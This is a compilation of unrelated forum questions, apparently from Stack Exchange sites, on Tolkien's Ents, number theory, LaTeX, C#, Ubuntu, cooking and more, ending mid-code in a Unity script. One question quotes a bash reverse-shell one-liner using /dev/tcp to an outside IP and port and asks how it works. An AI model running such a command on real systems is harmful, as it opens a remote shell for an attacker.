In the book The Two Towers Treebeard tells Merry and Pippin the sad story of the Entwives, who were lost (literally lost - they didn't die); he says the Ents believe that they "may meet [the Entwives] again in a time to come" and find a new home together where they can all live in peace.  However, he also says:      "But it is foreboded that that will only be when we both have lost all that we now have"   This loss will take the form of Sauron "withering" the woods of the Ents, just as Sauron once destroyed the gardens of the Entwives.  Then Treebeard sings an Elvish song about the Ents and Entwives, which ends with the lines     Together we [Ents and Entwives] will take the road that leads into the West,   And far away will find a land where both our hearts may rest.   Granted, fading into the West and traveling to a far away land there is a constant theme among the Elves, and this is an Elvish song, not an Entish one, but Treebeard says the Ents love it as well, which suggests that it reflects not only Elvish thought, but also Entish thought.    All of this is very familiar, and echoes the persistent thread woven throughout Tolkien's work - Arda and Middle-earth are changing;  the ancient world of mythology is transforming into the world of history in which we live today;  the old order is passing away;  the time of the Elves is over, and the time of Men is beginning;  magic will fade and science will supplant it; this final war against Sauron will be the last time that evil is gathered into a single, personified entity, and henceforth, the one ultimate evil will be replaced by many lesser, more insidious, subtler evils; and so on and so forth.  My question is this:  When Treebeard and the Elvish song speak of the Ents and Entwives finding a new, permanent home in the West, are they referring to Aman?  Will the Ents and Entwives eventually go to the Undying Lands?  The only other option seems to be that Tolkien thought the Ents would either die out or linger in Arda forever;  in the latter scenario, the Ents would presumably still be around today, though I would imagine that they all became what Treebeard referred to as "treeish", more or less immobile, and largely silent.  So if the Ents don't go to the Undying Lands, did they die out, go somewhere else, or did they, in Tolkien's imagination, linger on to modern times, hoever treeish they may have become?  Edit:   has this to say about the fate of the Ents;  the first citation (marked 6) is to Robert Foster's Complete Guide to Middle-earth, and the second (marked 14) is to Return of the King, specifically the chapter "Many Partings":     The Ents remained in Fangorn where they probably dwindled in the following Ages,[6] but Galadriel wished to Treebeard that they would meet again in Tasarinan, when Beleriand is lifted again from the waves, in Spring.[14]


\  If $p_n$ is the $n$-th prime number prove that $p_{n+1}^2<p_1 p_2 \cdots p_n$ when $n>=4$  Thaks, Payam


How do I find out what fonts are used in a document/picture?

Is it possible to identify the font used in a specific document/picture?  Answers to this question should identify:   Possible methods to do this (perhaps one answer per method) and adequately describe how to use it (as opposed to merely stating it); Ways of finding the identified fonts, if possible (free or not); and Any prerequisites associated with the method used, if required (for example, "In order to use method X, your document has to be in format Y").   This question is meant as an FAQ, based on an . Its aim is to facilitate the community with the general procedures involved in font identification. Similar cases are solved on a per-usage basis on 's  tag.


Need Regular Expression For Google Form To Record Leading Zeros

I need help writing a regular expression to use for input-validation on a Google Form. I'm trying require input in the following format:  0.0088407.001  Any suggestions?  Thanks!


"your account has been scheduled for removal" and it's still there

I've requested the removal of one of my accounts on SE.  I've received the mail "your accout has been scheduled for removal (...) your accout will be automatically deleted within 24 hours".  However, 3 days has passed, and that account is still on my account list.  Have I done or understood anything wrong?


Is it there anyway to get multiple imports from the a Apex controller using using a single import statement using LWC

I would like to have one statement to get multiple apex controller methods:  import { LightningElement, track, wire } from 'lwc'; import {     getThis,     getThat,     cancelThis,     cancelThat } from '@salesforce/apex/MyCustomController';   But the above gives me this error:     LWC1513: @salesforce/apex modules only support default imports.   [Line: 10, Col: 7] LWC1501: @salesforce/apex modules should have both class and method names.    Question   Is this even possible? If so, how can I achieve this?


How do I pick a random row of text from a file?


Story about robots whose brains are slowing down

I'm looking for a story that I read a few years ago. I cannot remember if it was a short story in an anthology of other stories or stand-alone book, but here are some details I do remember.   Definitely a book. This was not a TV show or movie. The story revolved around a robot/automaton who, in a series of journal entries,  explains that he discovered that his race was dying off.  The protagonist found through self experimentation that his brain was controlled by wind, and for some reason, there was less wind available. The protagonist experimented on himself to determine that his brain was essentially a system of gears which are turned by the wind. One plot point involved some sort of ritual which was supposed to take place at a certain time, but he noticed that it was slightly off I believe the story ends with the robot dying, but am not sure about this.


Optimal cooking tool for long-duration steaming

I'm a recent college graduate, and will begin working 40 hour weeks soon. I'm not good at cooking, and I prefer to cook all of my food (fish, chicken, turkey, vegetables) by steaming them in a small rice cooker. This currently works out great, and is quick and simple enough to clean up without a mess.  However, I was wondering if it's possible to use one of these "multi-cooker" steamers, such as this  model for steaming and then slow cooking (i.e. "keep warm") chicken breasts for 4-5 hours while being away.  I was thinking about coming home for lunch, starting the steamer, then letting it run for 4-5 hours until I get home from work.   My current rice cooker isn't built for very long durations of "keep warm", and if I use the "keep warm" setting for more than an hour, it makes it more difficult to clean up.    Question:  What would you recommend for an optimal cooking tool given this situation. I'd rather start the cooking mid-day (12pm), then have it finished and ready by the return from work (5pm).


I'm currently working on the following question: "At least one of Plato and Democritus believed in the theory of forms. Plato believed in the theory of forms only if he was not an atomist, and Democritus was an atomist only if he did not believe in the theory of forms. Democritus was an atomist. Prove, using Natural Deduction, that Plato was not an atomist" I have been working for quite some time to take the information and turn it into a set of literals and statements I can work with.  So far I have got  P: Plato believed in the theory of forms. D: Democritus believed in the theory of forms. X: Plato was an atomist. Y: Democritus was an atomist.  (PVD), (-X-->P) , (-D--->Y), Y  I don't know where I should start from. Which begs the question, if my literals are wrong. Any help would be much appreciated.


Which dialects of English consider "would" to be a polite form of "will"?

My recent trip to India exposed me to many sentences using "would" as a polite substitute for "will", as in  Please make sure to leave on time. The last bus would depart at 8PM. Thanks for checking out early. However, there would be no refund.  I am not familiar with such patterns in AmE or BE. Are they common in particular settings that I'm not aware of? How common are they in India? Note: the following query seems to return a bunch of other examples (among conditional uses of course) inurl:.co.in "would"


is it possible to have one views-view--VIEWNAME--page.tpl for multiple views?

I have 8 content types and 4 of them are the same and the difference is just their name. they all have a page view and the way I display them on screen is the same. instead of having 8 pages. (VIEWNAME_i stands for the i-th view.)   views-view--VIEWNAME_i--page.tpl views-view-field--VIEWNAME_i--page.tpl   I need a template function to reduce these 8 pages into 2. I want to define a general page for views-view--VIEWNAME_i--page.tpl. I would assign every view's variables in this function. I also want to do the same for fields page.


C# get the name of a method that called another one

Here is my problem: I have two classes which each include a method. Method 1 of class 1 calls method 2 of class 2. Now, I need to store in a local variable of method 2 (of type string probably), the name of the method that called method 2 (i.e. Method1). For this I have set up a global variable named string str in class 2. However, as we create a new instance of class 2 when we call method 2, we have: str=null. Here is the code so that you understand the problem: public class Class1     {         private Class2 _class2 = new Class2();         public Class2 Class2 { get => _class2; set => _class2 = value; }          public void Method1()         {             Class2.data = "Changes I want to Make in Class2";             Class2.Method2();         }     } public class Class2     {         public string data;          public void Method2()         {             string str = data; //str=null instead of str="Changes I want to Make in Class2"             //Rest of the code here         }     }  I know that str=null since I instantiate the object Class2 = new Class2(). So, I need to find another way around the problem, and I realised that, in my case, getting the name of Method 1 from a local variable in Method 2 would be a solution. My question is therefore the following: Is there a way to answer this problem? Note: I am a beginner in computer development, so I apologise in advance if the solution is easy and I have not seen it before.


repeating an equation and getting the same equation number?

Let's say I have written an equation in my paper and numbered it:  y = a + bx    (1)   Then, later in the paper, I want to remind the reader by showing the same equation with the same equation number.  Sure, I can repeat the equation, but LaTeX gives it a new equationn number:  y = a + bx     (2)   How do I force LaTeX to use the original equation numbers?


it’s important that all of that body  supported by acid, tannins, or both

A Forbes article -- apparently written by an American -- titled "" has this passage:     The other structural elements of body, alcohol, and sugar can also point to an age-worthy wine. Full-bodied wines, which also tend to be high in alcohol, are more likely to age well, but it’s important that all of that body is supported by acid, tannins, or both. That rich, soft $10 red purchased at the supermarket is easy-drinking now, but without firm tannins or bright acidity, it will not improve at all over time. Sugar can also help a wine age, though the perception of sweetness will diminish through the years.   Assuming this is American English, is there any reason why the verb in the that-clause is not "be" but "is"?  I thought it was only informal BE that would allow "is" in this type of clause.  EDIT  Here, the writer is saying that some cheap reds may lack in tannin or acidity, in which case the strong flavor of such cheap wines is going to diminish over time.   So, I don't think the writer is making a factual statement in the bold clause, but rather is presenting a condition under which full-bodied wines can age well without losing the full-bodiedness over time.


Software Updater - How do I find out what the proposed patches actually do?

My system: Ubuntu 14.04 LTS  On Monday, October 19, Software Updater prompted me to install a bunch of kernel changes.  Normally I just let Software Updater do whatever it wants, but this sounded serious so I thought it would be a good opportunity to find out how the update process works by trying to find out why these patches were being pushed (e.g. Is there a known vulnerability that needs to be patched?).  I've spent a couple of hours searching ubuntu.com, askubuntu.com, about a dozen or so linux news sites, and four pages of search engines hits, ... and I've found no mention whatsoever of any patches being pushed in the last couple of days.  Now I'm wondering if my Software Updater is prompting me to install packages that no one else is using!  But perhaps a better question is:  where can I go on the web to verify that patches I'm being asked to install are official and necessary, ... and to find out what their purpose is?


How to Upgrade Ubuntu 12.04.2, 12.04.3 to 12.04.4, the next Hardware Enablement Stack?

I am currently using Ubuntu 12.04.2 32bit. I installed it using LiveCD.  Tomorrow, 23rd August 2013,Ubuntu 12.04.3 is released. I want to upgrade from Ubuntu 12.04.2 to Ubuntu 12.04.3 without using any LiveCD. Is it possible? If so please suggest me how can I do.  Actually while using Ubuntu 12.04.2 I have troubled with graphics. My graphics card is Intel i845G 64 MB. When Ubuntu starts it works fine and smooth without any lagging, but after sometime it hangs for few seconds (1 or 2 seconds) with a garbage screen and becomes sluggish. All windows and browsers start lagging and also it is not possible to play any video in any player (VLC, Movie Player, Xnoise, SMPlayer etc..).  I think Upgrading to Ubuntu 12.04.3 could fix my problem.  Any help will be greatly appreciated..    I've posted an answer to upgrade Ubuntu 12.04.x to 12.04.4.


if $x^5=1$ with $x\neq 1$ then find value of $$\frac{x}{1+x^2}+\frac{x^2}{1+x^4}+\frac{x^3}{1+x}+\frac{x^4}{1+x^3}$$   So my first observation was x is a non real fifth root of unity. Also $$x^5-1=(x-1)(1+x+x^2+x^3+x^4)=0$$ Thus $$1+x+x^2+x^3+x^4=0$$ I tried using this condition to simplify the above expression but nothing interesting simplified. Please note  i am looking for hints rather than complete solutions. EDIT:I came to know its a duplicate ,but i feel that the answers given below are different from those in the original.


The set of all complex homomorphisms of abelian group $G$ has the same structure as $G$

If $G$ is an abelien group, let $\hat{G}$ be the set of all   homomorphisms of $G$ into the group of nonzero complex numbers under   multiplication. If $\phi_1, \phi_1\in \hat{G}$ define $\phi_1\cdot  \phi_2$ by $(\phi_1\cdot \phi_2)(g)=\phi_1(g)\phi_2(g)$ for all $g\in  G$.      If $G$ is a finite abelian group prove that $o(G)=o(\hat{G})$ and $G$   is isomorphic to $\hat{G}$.   The case when $G$ is finite cyclic is easy because in this case $\hat{G} \cong G$. Let's consider the case when $G$ is abelian group of order $p^n$, $p$ - prime.   By Fundamental theorem on finite abelian groups we have the following: $$G=\langle a_1 \rangle_{p^{n_1}}\times \langle a_2 \rangle_{p^{n_2}} \times \dots \times \langle a_k \rangle_{p^{n_k}},$$  where $n_1\geq n_2\geq \dots \geq n_k>0$ and $n_1+\dots+n_k=n$.   Let $A_i=\langle a_i \rangle_{p^{n_i}}$ and $A_i$ are cyclic groups then $A_i\cong \hat{A_i}$. So we have the following $$G=A_1\times \dots \times A_k\cong \hat{A_1}\times \dots \times \hat{A_k}.$$  Then I was trying to think about $\hat{G}$ and I think that $\hat{G}=\hat{A_1}\times \dots \times \hat{A_k}$ which follows that $G\cong \hat{G}$.   How to prove rigorously that $\hat{G}=\hat{A_1}\times \dots \times \hat{A_k}$? I am not able to prove it.


Replace regex with regex in string python

I am new to regular expressions in python. I want to split strings based on delimiters. But the delimiters should also be returned as elements. Such as  Input - "The man.in the. high castle."  Output - ["The", "man", ".", "in", "the", ".", "high", "castle", "."]   or  Input - "The man-in the. high castle!" Output - ["The", "man", "-", "in", "the", ".", "high", "castle", "!"]   Please note that I am not only trying to split sentences based on white space, delimiters but also return the delimiters. This is somewhat similar to nltk.word_tokenize, but different because word_tokenize cannot split words such as "man.in".   My set of delimiters are ".","?","!", "," and whitespace Thanks in advance


Python function similar to combination and permutation

I have some lists  a = [1,2] b = [A,B]   I want to generate a new list of lists similar to the following (I don't remeber the name of this "operation"...)  [1,A],[1,B],[2,A],[2,B]   Is there a rapid way to achieve this result?


Is it possible to install Windows 8 using Microsoft Virtual PC?

I'm trying to install Windows 8 on my pc via Microsoft Virtual PC.  However I get this annoying, non-descriptive error:    I'm looking to find out if Microsoft Virtual PC supports Windows 8, and if so how do I solve this issue?  NOTE: I'm NOT trying to ask for alternatives to Virtual PC, but rather trying to figure out if it's possible, and if so how, to use Virtual PC.


I'm having some problems with some scripts in bash, about errors and unexpected behaviors. I would like to investigate the causes of the problems so I can apply fixes. Is there a way I can turn some kind of "debug-mode" for bash, to get more information?


What is the limit of $\frac{\prod\mathrm{Odd}}{\prod\mathrm{Even}}?$

What is this limit   $$   \frac{1\times3\times5\times\cdots}{2\times4\times6\times8\times\cdots} = \lim_{n \rightarrow \infty}\prod_{i=1}^{n}\frac{(2i-1)}{2i} $$   I remember that it was something involving $\pi$.  How can I compute it?    In addition; how can I compute it's sum series limit?


move a database on sql server 2017 with memory OLTP feature

I have a database on sql server 2017 standard edition with in memory OLTP feature enabled, I have to move it on another disk, which is the best way to do it? are there any possible problems?  Can I manage to get rid of this OLTP feature? Somebody said to drop an re- create the db ? but how ... preserving the data ?  I have this script :     SELECT type_desc, name, physical_name from sys.database_files      USE master      EXEC sp_detach_db mydb    CREATE DATABASE mydb ON      PRIMARY ( NAME = mydbdata,          FILENAME = 'Y:\Database\SQLServer\DATA\mydbdata.mdf'),    ( NAME = mydbdata2,          FILENAME = 'Y:\Database\SQLServer\DATA\mydbdata2.mdf'),      FILEGROUP FileStreamGroup1 CONTAINS FILESTREAM( NAME = mydbdata_mod1,          FILENAME = 'Y:\Database\SQLServer\DATA\mydbdata_mod1')      LOG ON  ( NAME = mydbdata_log,          FILENAME = 'Z:\Database\SQLServer\DATA\mydbdata_log.ldf')      ,  ( NAME = mydbdata_log2,          FILENAME = 'Z:\Database\SQLServer\DATA\mydbdata_log2.ldf')      FOR ATTACH      GO     update: this dba.stackexchange.com/questions/52007/… replies to the question how to move , and it's ok but there are a lot of methods ... although I am confident with all methods. My fear it's all about the OLTP feature and the OLTP files


find inverse of a matrix with one value on the diagonal and otherwise

Let us look at the the matrix  $ M =\begin{bmatrix} a & b & \dots  & b      \\ b & a  & \dots  & b    \\ \vdots & b  & \ddots & \vdots \\ b  & \dots & b  & a \end{bmatrix} $   It has one value $a$ on the main diagonal, and another value $b$ everywhere else. Let us assume that $a \neq b$. I wish to find the inverse of every $n\times n$ matrix of this form ($a$ on the diagonal, $b$ everywhere else).


Is there a way to disable file:/// protocol in google chrome?  Is there some option, or some switches that can disable this feature?  Please help


I have Windows 10 running on my laptop which has 8GB RAM. I want to install Ubuntu in virtual box and I also want to install docker in it. How much RAM would you suggest me to allocate? Thanks


I read that NASA looks for water on Mars or other planets as a sign of a life.  I wonder why scientists look for water as proof of a life? isn't there any animal that drinks another liquid like alcohol or something?


Adding shapefile or feature class as layer in ArcMap using ArcPy

I am trying to automate various tasks in ArcGIS Desktop (using ArcMap generally) with Python, and I keep needing a way to add a shapefile to the current map. (And then do stuff to it, but that's another story).  The best I can do so far is to add a layer file to the current map, using the following ("addLayer" is a layer file object):  def AddLayerFromLayerFile(addLayer):  import arcpy  mxd = arcpy.mapping.MapDocument("CURRENT")  df = arcpy.mapping.ListDataFrames(mxd, "Layers")[0]  arcpy.mapping.AddLayer(df, addLayer, "AUTO_ARRANGE")  arcpy.RefreshActiveView()  arcpy.RefreshTOC()  del mxd, df, addLayer   However, my raw data is always going be shapefiles, so I need to be able to open them. (Equivalently: convert a shapefile to a layer file without opening it, but I'd prefer not to do that).


Big space between subsection, text and graphics

I have a problem with space between subsection, text and image. I have code:  \documentclass[12pt, a4paper]{article} \usepackage[demo]{graphicx} \usepackage{caption}  \begin{document} \subsection{Some title} Some text in section  \begin{center} \includegraphics[scale=0.8]{image1.jpg} \captionof{figure}{Diagram klas aplikacji serwera} \end{center} \begin{center} \includegraphics[scale=0.75]{image2.jpg} \captionof{figure}{Diagram klas aplikacji klienta} \end{center}  \subsection{Some title 2} Some text... \end{document}   And my document looks like this:


Sometimes we read books rather quickly and don't give them much (or any) thought, so the action 'reading' does not necessarily imply that we have given enough thoughts to any book we read.   Is there a word that describes reading a book with great care; usually but necessarily slowly over a long period of time.


Can someone tell me what im doing wrong in minecraft command

What does it mean when it says line 1, Column 2 missing) or object member name


How non-invasive blood glucose concentration measurement work?

Diabetes patients need to conduct the “fingerstick” a few times a day. One of the mechanisms of "fingerstick" is to take small amount of blood sample and put it onto a test strip. The enzyme on the test strip reduces the glucose and the electronics of the glucose meter detect the redox species produced. However, this method is painful and increase the risk of infection.  Photonic sensing technology opens up a new method for non-invasive blood glucose concentration. According to an article of  in 2013 (The link follows  ), the non-invasive kind was invented. By simply clipping the earlobe (without puncturing the skin), the blood glucose concentration could be measured. Does anybody knows the working principle for that? Or, suggest a paper describing that?


WD RED - are HDD's designed for NAS another hype?

When I assembled my current system two years ago, I bought a Crucial M4 128 GB SSD, which was truly worth its price and I bought a Samsung EcoGreen 2 TB HDD, primarily for storing large media data like movies etc. This was likewise the last time being up to date about the actual market situation.  I've just been checking out the most recent releases on the hard disk market, because my EcoGreen gave up a couple of days ago.  I just grabbed dat cheap EcoGreen, because HDD's in 2011 were pretty cheap anyways. Green was in and the market was just flooded with a vast variety of different models being worth their price. There was a lot of silly stuff out there either: green monitors, green power supplies, even green USB flash drives. Despite the EcoGreen gave up after 2 years, I don't regret buying it at all. It's still the cheapest disk space, I've ever bought.  I might get a new EcoGreen, because its 3 years warranty didn't expire yet, nevertheless I searched for potential ones to buy, which might have released in the past two years. And pretty early I found the .  Here what Western Digital writes about their product:        Compatibility: Desktop hard drives are not always tested for compatibility in NAS and can present problems during integration.    Reliability: Most desktop drives are not designed for the high operating temperatures or for 24x7 operating environments making them   less reliable when used in a NAS system.    Error recovery controls: Desktop drives are not traditionally designed for RAID environments and have controls that prevent the RAID   controller from assisting in the event of an error which can cause the   hard drive to drop off the RAID after a period of time.  Rebuilding a   RAID often requires several hours and can have a significant impact on   downtime and productivity.    Noise and vibration: Typically designed for single drive applications, average desktop drives are not optimized for multi-drive   systems which have higher noise and vibration levels. When these   drives are added to a NAS, the additional vibration can reduce the   reliability and life span of the drive.      Since I always thought a system's overall power consumption is impacted by the HDD power consumption at least, I'm suspicious if this might not be another hype? EcoGreen's were about 0.5W more efficient over desktop HHD's, or am I wrong informed? Or am I completely wrong and EcoGreen was not even a hype? I have to admit, that purchasing the EcoGreen already made me expect not such a huge benefit from getting a green one. It's been solid, but nothing special.  What do you think about this?


Why can't I edit comments past 5 minutes?

It's quite annoying to find that you can't edit comments past five minutes, I completely understand not editing comments after 5 minutes that have a reply after them (although it's a bit weird you can delete them), but if the comment is still the last in the "thread". You can copy the comment, delete it and repost it edited. That overrides what you have on the clipboard, is annoying and gives more a chance for you comment to become out of place if someone posts, while you are copying, editing and pasting.


I would like to use start arguments when launching my program. Eg:  c:\my.exe -arg1   Like some programs use arguments like:  -silent   If searched for information but could not find anything to help. Thanks!


Suppose $a,b,m,n$ are natural numbers, prove that if $a({m \over n})=b$ and $(a,n)=1$, then ${m \over n} \in \mathbb{N}$

Suppose that $a,b,m,n$ are natural numbers, prove the following statement:  If $a({m \over n})=b$ and $(a,n)=1$, then ${m \over n} \in \mathbb{N}$


System Monitor showing incorrect number of CPUs

I'm currently running Ubuntu 14.04.2 Desktop.  The System Monitor tool is showing me 32 CPUs when I'm expecting 56. Should I be concerned?  Screenshot of System Monitor:    As you can see, it shows 32 CPUs.  Output of lscpu:  ~$ lscpu Architecture:          x86_64 CPU op-mode(s):        32-bit, 64-bit Byte Order:            Little Endian CPU(s):                56 On-line CPU(s) list:   0-55 Thread(s) per core:    2 Core(s) per socket:    14 Socket(s):             2 NUMA node(s):          2 Vendor ID:             GenuineIntel CPU family:            6 Model:                 63 Stepping:              2 CPU MHz:               1337.882 BogoMIPS:              5189.07 Virtualization:        VT-x L1d cache:             32K L1i cache:             32K L2 cache:              256K L3 cache:              35840K NUMA node0 CPU(s):     0-13,28-41 NUMA node1 CPU(s):     14-27,42-55   As you can see, according to lscpu, I should have 56 CPUs.  htop is also showing me 56 CPUs.    My machine is . It has 2 Intel Xeon E5-2697 V3 processors, each having 14 cores and capable of 2 threads per core (as seen in the output of lscpu, and further confirmed in BIOs).  I recall seeing 56 cores under System Monitor when I launched it in the "try ubuntu" mode from the installation disk before installing Ubuntu.   Is there something wrong with my system configuration? If there is (e.g., hardware failure), what can I do to verify? Also, I noticed that my System Monitor does not have a "System" tab.


Why does a closed convex set contain lines if and only it has no extreme points?

Let $A\subset\mathbb R^n$ be a closed and convex. A points $x\in A$ is said to be an extreme point if it cannot be represented as a nontrivial convex combination of points in $A$. Let $\operatorname{ext}A$ denote the set of extreme points of $A$. I've stumbled upon the observation that "$A$ contains lines if and only if it has no extreme points" (page 37, remark 1, in Hug and Weil (2010), pdf can be found ). I can see that if $A$ contains a line $L$, then it cannot have extreme points. Indeed, given any $x\notin L$, then the (closed) convex closure of $\{x\}\cup L$ must equal everything between $L$ and the line parallel to $L$ intersecting $x$, and such set has no extreme points. Geometrically, this amounts to the following construction: $\qquad\qquad\qquad$ However, I'm not sure how to proceed for the other direction. How do I prove that if $A$ contains no lines, then there must be at least an extreme point (or equivalently, that the absence of extreme points implies that at least one line is contained in $A$)?


Null Pointer exception when using resize Open Cv Java

I was writing a program to resize an image while preserving the aspect ratio. Basically, I'm trying to get the source image into a 20x20 box with the aspect ratio preserved.  float ra= (float)20/image.width(); Size dsize = new Size((int)(image.height()*ra),20); // System.out.println(image.height() + " "+image.width()); //System.out.println((int)(image.height()*ra)+" " + 20); Imgproc.resize(image,output, dsize,ra,ra, Imgproc.INTER_LINEAR);       The input, image is a Mat. image.height()=10, image.width()=28.   The new size would be 7,20. However when i run the code I get a null pointer exception at Imgproc.resize(). I am unable to find the reason. I get the same error even if I run  Imgproc.resize(image,output,dsize);


While explaining to my nephew about the physics of light, I told him we cannot see infrared color, and he kicked back with a very simple question: why can't we see it? I could not tell him. Is the human eye unable to sense such light or can it indeed but the brain can't understand the signal? any other reason?


is it safe to Install Ubuntu 14.04 packages on Kubuntu 14.04?

I have Ubuntu 14.04.1 LTS installed on my computer and a friend of mine has Kubuntu 14.04 Trusty Tahr installed on his machine, which has no connection to the internet.  I want to share with him some packages I've installed on my Ubuntu (such as texlive-full, for example), basically I'll copy and paste /var/cache/apt/packages to his machine (I have a really slow connection to the internet).  It that possible ? Could anything go wrong ?


I currently reside in the UK as an international student and I am planning to take a trip to Europe, and therefore I am applying for Schengen Visa.  In the last 3-4 months, for my daily expenses I used my foreign debit card and my UK bank account have a few weeks with 0 pound balance and no transactions, however I have recently paid substantial money for tuition and started to use it more frequently. If I put enough money on my UK bank account ( more than minimum requirement by the visa centre), will this be enough to provide evidence for the proof of finance? Since my UK bank account was rarely used, I wonder if visa centre would question my financial sufficiency.  As an alternative, I can request online bank reference and statements from my bank account back at home, but I wonder if visa centre accept financial documents which were not issued at the branch by the manager.  Thank you.


This  specifically answer's my question  In Junit is there a way to make sure the code makes it past a certain point?  ex:  @Test(expect = SpecialException.class) public void testMyCode() {     essentialMethodThatCantBeMockedThatMayThrowSpecialException()      // stuff      actualMethodIAmTestingAndWillAlsoThrowSpecialException() }   The main purpose is that I am doing a major refactor and if I can outfit my existing tests with something like an expect x number of assertions.  Then that would make sure that my tests throw exceptions for the correct reasons and not the wrong reasons.  A good example of something that does this is Qunit which has a expect(numberOfAssertions)  which will fail the test if that many assertions are not called.  I have been looking a long time for something like this in JUnit but I can't find it.


Trying to join a friends Minecraft server and will not let me: They are on a different network

My friend who lives in another neighborhood is making a server for MC Eternal modpack and I keep getting the "io.netty.channel.ConnectTimeoutException: connection timed out" message.


In C++ can constructor and destructor be inline functions?

VC++ makes functions which are implemented within the class declaration inline functions.  If I declare a class Foo as follows, then are the CONSTRUCTOR and DESTRUCTOR inline functions?  class Foo  {     int* p; public:     Foo() { p = new char[0x00100000]; }     ~Foo() { delete [] p; } };  {     Foo f;     (f); }


Strange Error with array environment and brackets

The following produces (in overleaf) an error: \documentclass{article} \begin{document}   $$   s_l = \left\{   \begin{array}{ll}     [a]  & \mbox{if } l = j; \\     [a]  & b.   \end{array}   \right.  $$ \end{document}  When I do this: \documentclass{article} \begin{document}   $$   s_l = \left\{   \begin{array}{ll}     [a]  & \mbox{if } l = j; \\     \mbox{[a]}  & b.   \end{array}   \right.  $$ \end{document}  it works. That seems strange to me. Is there any comprehensible reason for this?


Why is the Lagrangian approach preferred over the Hamiltonian approach in QFT?

Going from non-relativistic quantum mechanics(QM) to QFT there is a marked change in the approach used. QM almost exclusively uses Hamiltonains. Lagrangian based methods like the path-integrals are seldom used. In QFT a Lagrangian based approach seems to be more widespread, although  Hamiltonians can also be used. Why is this so? Is the reason historical or is it a matter of " this method works better for this situation"? Or does it have anything to do with the relativistic nature of QFT?


Problem in secure copying (scp) filenames with spaces

I am trying to copy files using secure copy(scp). I am trying to execute the following command but I get error due to the space in the absolute path of the location of the directory.  scp -r -P 8484 root@172.31.72.103:/media/New Volume/lj /home/pratheep   I am getting the following error:  scp: /media/New: No such file or directory   scp: Volume/lj: No such file or directory   I tried using the same command putting extra back slash like  scp -r -P 8484 root@172.31.72.103:/media/New\ Volume/lj /home/pratheep   but I am still getting the same error.  Can somebody tell me how to correct it?


Installation of TeXLive 2014/2015 on Linux?

I have TeXLive 2013 on my Linux Mint Cinnamon 17. Is there any possibility to get TeXLive 2014/2015? Because I need usepackages like "tcolorbox", which aren't in TeXLive 2013 Version.  Kind regards!


Showing that $\int_0^\infty x^{-x} \mathrm{d}x \leq 2$.

This integral is very closely related to the sophmores dream that states  $$ \int_0^1 x^{-x}\mathrm{d}x = \sum_{n=1}^\infty n^{-n} = 1.27\ldots $$  For example here   Now I want to bound the integral, and showing that is less that 2.  For the interval $[0,1]$ a good bound is rewriting it to $\exp(x\log x)$ and using the expansion   $$ 1 - x \log(x) + \frac12 (-x \log(x))^2$$  but how does one handle $[1,\infty)$ ? In this answer here     gives bounds to the integral, but they are not tight enough.. So to taste my question again, how does one prove that   $$ \int_0^\infty \frac{\mathrm{d}x}{x^x} \leq 2 $$


Determine type of object when value is currently null in C#?

Is there a better way to determine the underlying type of an object even when the current value of the object is null?  The following code doesn't work when someObject is indeed of type string but currently holding a null value.  public void doWork(object someObject) {     var objAsString = someObject as string;     if (objAsString != null)     {             // do work, return             // work involves string specific logging/manupulation     }      var objAsByteArr = someObject as byte[];     if (objAsByteArr != null)     {             // do work, return              // work involves byte specific logging/manupulation     }      throw new Exception("Unknown type encountered"); }


If $(X,d)$ complete and $X= \cup_{n=1}^{\infty} F_n$ where $F_n$ is closed in $X$ for all $n$, then there exist at least one $F_k$ which the interior is non empty.    The proof start by setting $U_n = X \backslash F_n$ open for all $n$. By the DeMorgan Law,  $$\cap_{n=1}^{\infty}U_n=(\cup_{n=1}^{\infty} F_n)^c=X \backslash \cup_{n=1}^{\infty} F_n = \emptyset$$  Then it follow that at least one of the open $U_k$ is not dense in $X$ . I dont understand this part of the proof.   Can anyone help me please? thx.


Can I remove zobel network in LM386 circuit?

What happens if I omit this part? Actually I don't have 10om resistor and I want to know is there any alternative?  ps: I know what is a zobel network. I want to know what happens if I omit it.


Is graphing exponential functions bugged out on Latex?

Recently, I tried graphing the function z = xy + e^(-xy) using tikzpicture and \addplot3. But for some reason, the graph is bugging out as its thinking that z = 0 for all values (except a few at the edge): \begin{tikzpicture} \begin{axis}[     view = {30}{30},     xlabel  = {$x$},     ylabel = {$y$},     zlabel = {$z$},     axis on top,     axis lines = center,     zmin = 0 ] \addplot3[surf]{x*y + e^(-x*y)}; \end{axis} \end{tikzpicture}  This is resulting in a graph that looks like:  But if you graph it somewhere else like GeoGebra (or any other 3d plotting tool) or try to draw it by hand, the value should be 1 along the x and y axis and then increase as you go outward. Is there any reason this is happening? (P.S. if I try to set a zmax value I get a "missing number" error probably because the equation I'm graphing increases rapidly and even at (-5,5) z ~ 7.2e+10)


Can I get an explanation of this payload how its working? bash -i >& /dev/tcp/10.2.58.116/4444 0>&1

I know that <, > and 2> is used for input, stdout and stderr redirection respectively but I still can't figure out the following command: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1  I have a few questions. What does >& mean and is it equivalent to &>? What does 0>&1 mean? What does it mean when <> is used together? Thank You!


How can you strip non-ASCII characters from a string? (in C#)


Can AIC be used to compare a model with exponential smoothing with linear regressions?


A good introduction to axiomatic set theory

I'm doing my undergraduate dissertation on axiomatic set theory, and i'm using Jean-Louis Krivine's book "Theorie des ensembles" as a reference book. My dissertation focuses only on the first two chapters " zermelo fraenkel set theory " and " cardinals and ordinals ". And i'm searhing for some references to help me write the introduction to my dissertation.  Any help would be much appreciated.


How can I make my player move in the direction the camera faces?

I have a 3rd person camera which can rotate around the player. My problem is that wherever camera is facing, players forward is always the same direction.  For example when camera is facing the right side of the player, when I press button to move forward, I want player to turn to the left and make that the "new forward".  My camera script so far:  using UnityEngine; using System.Collections;  public class PlayerScript : MonoBehaviour {     public float RotateSpeed = 150,     MoveSpeed = 50;     float DeltaTime;      void Update()     {         DeltaTime = Time.deltaTime;         transform.Rotate(0, Input.GetAxis("LeftX") * RotateSpeed * DeltaTime, 0);         transform.Translate(0, 0, -Input.GetAxis("LeftY") * MoveSpeed * DeltaTime);     } }  public class CameraScript : MonoBehaviour {     public GameObject Target;     public float RotateSpeed = 170,     FollowDistance = 20,     FollowHeight = 10;     float RotateSpeedPerTime,     DesiredRotationAngle,     DesiredHeight,     CurrentRotationAngle,     CurrentHeight,     Yaw,     Pitch;     Quaternion CurrentRotation;      void LateUpdate()     {         RotateSpeedPerTime = RotateSpeed * Time.deltaTime;          DesiredRotationAngle = Target.transform.eulerAngles.y;         DesiredHeight = Target.transform.position.y + FollowHeight;         CurrentRotationAngle = transform.eulerAngles.y;         CurrentHeight = transform.position.y;          